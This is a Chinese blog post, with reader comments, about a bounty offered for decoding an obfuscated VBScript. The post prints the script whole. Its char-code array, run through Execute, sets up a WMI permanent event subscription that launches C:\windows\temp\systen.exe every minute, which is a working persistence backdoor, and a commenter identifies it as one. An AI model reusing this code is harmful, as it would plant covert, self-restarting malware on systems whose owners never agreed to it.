价值50大洋的VBS脚本

有人悬赏50大洋解密这个 VBS 脚本:

strs=array(13,83,69,84,32,87,115,104,83,104,101,108,108,61,87,115,99,114,105,112,116,46,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,83,69,84,32,87,115,104,83,121,115,69,110,118,61,87,115,104,83,104,101,108,108,46,69,110,118,105,114,111,110,109,101,110,116,40,34,80,114,111,99,101,115,115,34,41,32,13,10,115,121,115,100,105,114,32,61,32,87,115,104,83,121,115,69,110,118,46,73,116,101,109,40,34,83,89,83,84,69,77,82,79,79,84,34,41,32,13,10,115,121,115,100,105,114,50,32,61,32,109,105,100,40,115,121,115,100,105,114,44,49,44,51,41,13,10,110,115,108,105,110,107,61,34,119,105,110,109,103,109,116,115,58,92,92,46,92,114,111,111,116,92,115,117,98,115,99,114,105,112,116,105,111,110,58,34,13,10,100,111,111,114,110,97,109,101,61,34,109,115,111,101,99,106,34,13,10,114,117,110,105,110,116,101,114,118,97,108,32,61,32,54,48,48,48,48,13,10,115,116,120,116,61,34,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,34,41,58,111,98,106,83,104,101,108,108,46,82,117,110,32,34,34,67,58,92,92,119,105,110,100,111,119,115,92,92,116,101,109,112,92,92,115,121,115,116,101,110,46,101,120,101,34,34,34,13,10,83,69,84,32,97,115,101,99,61,103,101,116,111,98,106,101,99,116,40,110,115,108,105,110,107,38,34,65,99,116,105,118,101,83,99,114,105,112,116,69,118,101,110,116,67,111,110,115,117,109,101,114,34,41,46,115,112,97,119,110,105,110,115,116,97,110,99,101,95,13,10,97,115,101,99,46,110,97,109,101,61,99,111,110,115,117,109,101,114,95,100,111,108,13,10,97,115,101,99,46,115,99,114,105,112,116,105,110,103,101,110,103,105,110,101,61,34,118,98,115,99,114,105,112,116,34,13,10,97,115,101,99,46,115,99,114,105,112,116,116,101,120,116,61,115,116,120,116,13,10,83,69,84,32,97,115,101,99,112,97,116,104,61,97,115,101,99,46,112,117,116,95,13,10,83,69,84,32,105,116,105,109,101,114,61,103,101,116,111,98,106,101,99,116,40,110,115,108,105,110,107,38,34,95,95,73,110,116,101,114,118,97,108,84,105,109,101,114,73,110,115,116,114,117,99,116,105,111,110,34,41,46,115,112,97,119,110,105,110,115,116,97,110,99,101,95,13,10,105,116,105,109,101,114,46,116,105,109,101,114,105,100,61,100,111,111,114,110,97,109,101,38,34,95,105,116,105,109,101,114,34,13,10,105,116,105,109,101,114,46,105,110,116,101,114,118,97,108,98,101,116,119,101,101,110,101,118,101,110,116,115,61,114,117,110,105,110,116,101,114,118,97,108,13,10,105,116,105,109,101,114,46,115,107,105,112,105,102,112,97,115,115,101,100,61,102,97,108,115,101,13,10,105,116,105,109,101,114,46,112,117,116,95,13,10,83,69,84,32,101,118,116,102,108,116,61,103,101,116,111,98,106,101,99,116,40,110,115,108,105,110,107,38,34,95,95,69,118,101,110,116,70,105,108,116,101,114,34,41,46,115,112,97,119,110,105,110,115,116,97,110,99,101,95,13,10,101,118,116,102,108,116,46,110,97,109,101,61,102,105,108,116,101,114,95,103,102,108,13,10,101,118,116,102,108,116,46,113,117,101,114,121,61,34,115,101,108,101,99,116,32,42,32,102,114,111,109,32,95,95,116,105,109,101,114,101,118,101,110,116,32,119,104,101,114,101,32,116,105,109,101,114,105,100,61,34,34,34,38,100,111,111,114,110,97,109,101,38,34,95,105,116,105,109,101,114,34,34,34,13,10,101,118,116,102,108,116,46,113,117,101,114,121,108,97,110,103,117,97,103,101,61,34,119,113,108,34,13,10,83,69,84,32,102,108,116,112,97,116,104,61,101,118,116,102,108,116,46,112,117,116,95,13,10,83,69,84,32,102,99,98,110,100,61,103,101,116,111,98,106,101,99,116,40,110,115,108,105,110,107,38,34,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,34,41,46,115,112,97,119,110,105,110,115,116,97,110,99,101,95,13,10,102,99,98,110,100,46,99,111,110,115,117,109,101,114,61,97,115,101,99,112,97,116,104,46,112,97,116,104,13,10,102,99,98,110,100,46,102,105,108,116,101,114,61,102,108,116,112,97,116,104,46,112,97,116,104,13,10,102,99,98,110,100,46,112,117,116,95,13,10)
for i=1 to UBound(strs)
    runner=runner&chr(strs(i))
next
Execute runner

真是钱多了没处花,且不说这种加密一点技术含量也没有,就算是有技术含量的加密,也只能骗骗菜鸟罢了。解密后发现,这个程序大可不必加密,因为就算不加密,能看得懂的人也不多。

随机文章:

  1. 没有main函数的C程序
  2. 暴风一号病毒VBS源码解密
  3. 用bbPress搭建了一个VBS论坛
  4. VBS中也有Vector
  5. 用JavaScript实现PHP的urlencode函数

4 条评论 发表在“价值50大洋的VBS脚本”上

  1. RandomOS说道:

    50大洋!有钱淫~~

  2. 雨中风铃说道:

    这个后门的作用是每隔一分钟运行一次C:\windows\temp\systen.exe。代码出自“菠萝的菠萝格”的博客http://hi.baidu.com/war3apollo,08年的老文章了,当时被鬼仔’s Blog和www.pcsec.org转载,很多服务器都装上了这样的后门。本文的代码直接调用root\subscription名称空间的ActiveScriptEventConsumer,应该是安装在win2003服务器上的。

  3. wakaka说道:

    看到EXECUTE就没有解密的冲动了

  4. findnew说道:

    明明是zzzevazzz大侠2004年的《深入挖掘Windows技术》

留下回复